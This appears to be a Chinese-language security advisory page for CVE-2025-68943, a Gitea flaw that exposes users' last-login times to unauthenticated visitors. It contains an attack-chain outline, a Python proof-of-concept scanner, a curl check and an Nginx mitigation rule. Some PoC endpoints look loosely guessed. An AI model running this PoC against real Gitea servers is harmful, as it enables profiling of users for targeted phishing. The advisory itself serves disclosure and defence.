IPBUF安全漏洞报告
English
CVE-2025-68943 CVSS 5.3 中危

CVE-2025-68943 Gitea用户登录时间信息泄露漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-68943
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gitea

相关标签

信息泄露GiteaCVE-2025-68943无需认证用户隐私Web应用安全Git平台

漏洞概述

Gitea 1.21.8之前版本存在信息泄露漏洞。该漏洞允许未经认证的攻击者通过explore/users页面的排序功能(特别是lastlogintime排序)获取平台用户的最后登录时间信息。攻击者无需任何账户或权限,即可利用此漏洞枚举平台上所有用户的登录活动记录,包括登录频率和活跃时段等敏感信息。这些信息可能被用于进一步的社会工程攻击、针对性钓鱼活动或绘制目标组织的用户活动画像,从而增加后续攻击的成功率。CVSS评分5.3,中危级别,主要影响系统的机密性。

技术细节

漏洞源于Gitea的explore/users接口对排序参数的不当处理。当用户访问explore/users页面并使用lastlogintime字段进行排序时,系统会返回所有用户的登录时间信息,而未对这些敏感数据进行适当的访问控制。攻击者可以通过构造特定的HTTP请求参数来触发该功能,例如添加排序参数为lastlogintime的GET请求。漏洞的核心问题在于:1) API端点缺少身份验证检查;2) 排序功能直接暴露了用户表的last_login字段;3) 未实施基于用户权限的数据过滤。攻击者可以通过简单的HTTP请求遍历获取大量用户信息,结合其他信息可构建完整的用户活动图谱。修复版本1.21.8增加了对敏感字段的访问控制验证。

攻击链分析

STEP 1
1
攻击者识别目标Gitea实例的版本(通过HTML元数据或API端点)
STEP 2
2
攻击者构造HTTP GET请求到/explore/users?sort=lastlogintime端点,无需任何认证
STEP 3
3
服务器响应包含所有用户的最后登录时间信息列表
STEP 4
4
攻击者通过脚本自动化请求,批量收集用户登录时间数据
STEP 5
5
攻击者分析登录时间模式,识别活跃用户和高价值目标
STEP 6
6
利用收集的信息规划针对性钓鱼攻击或进一步入侵活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68943 PoC - Gitea User Login Time Information Disclosure # Affected: Gitea < 1.21.8 import requests import json def exploit_gitea_login_time_disclosure(target_url): """ Exploit for CVE-2025-68943: Gitea user login time disclosure via lastlogintime sort parameter on explore/users endpoint """ # Target endpoint with lastlogintime sort parameter # No authentication required endpoints = [ f"{target_url}/explore/users?sort=lastlogintime", f"{target_url}/api/v1/repos/search?sort=lastlogintime", f"{target_url}/explore/users?sort=lastlogin" ] results = [] for endpoint in endpoints: try: # Send unauthenticated request response = requests.get(endpoint, timeout=10) if response.status_code == 200: # Check if response contains login time information if 'last_login' in response.text or 'lastlogin' in response.text.lower(): results.append({ "endpoint": endpoint, "status": "VULNERABLE", "response_length": len(response.text), "message": "Login time information exposed" }) else: results.append({ "endpoint": endpoint, "status": "CHECK_MANUALLY", "message": "Response received, verify manually" }) else: results.append({ "endpoint": endpoint, "status": "ERROR", "code": response.status_code }) except Exception as e: results.append({ "endpoint": endpoint, "status": "ERROR", "error": str(e) }) return results # Usage example if __name__ == "__main__": target = "http://target-gitea-server.com" results = exploit_gitea_login_time_disclosure(target) print(json.dumps(results, indent=2)) # Manual verification: # curl -s "http://target-gitea.com/explore/users?sort=lastlogintime" | grep -i login

影响范围

Gitea < 1.21.8
Gitea 1.21.x < 1.21.8
Gitea 1.22.x (if backported)

防御指南

临时缓解措施
如果无法立即升级,可通过Web服务器配置临时阻止对/explore/users端点中包含sort=lastlogintime参数的请求。例如在Nginx中配置:location ~ /explore/users { if ($query_string ~ "sort=lastlogintime") { return 403; } }。同时建议启用Gitea的审计日志功能,监控对该端点的异常访问尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表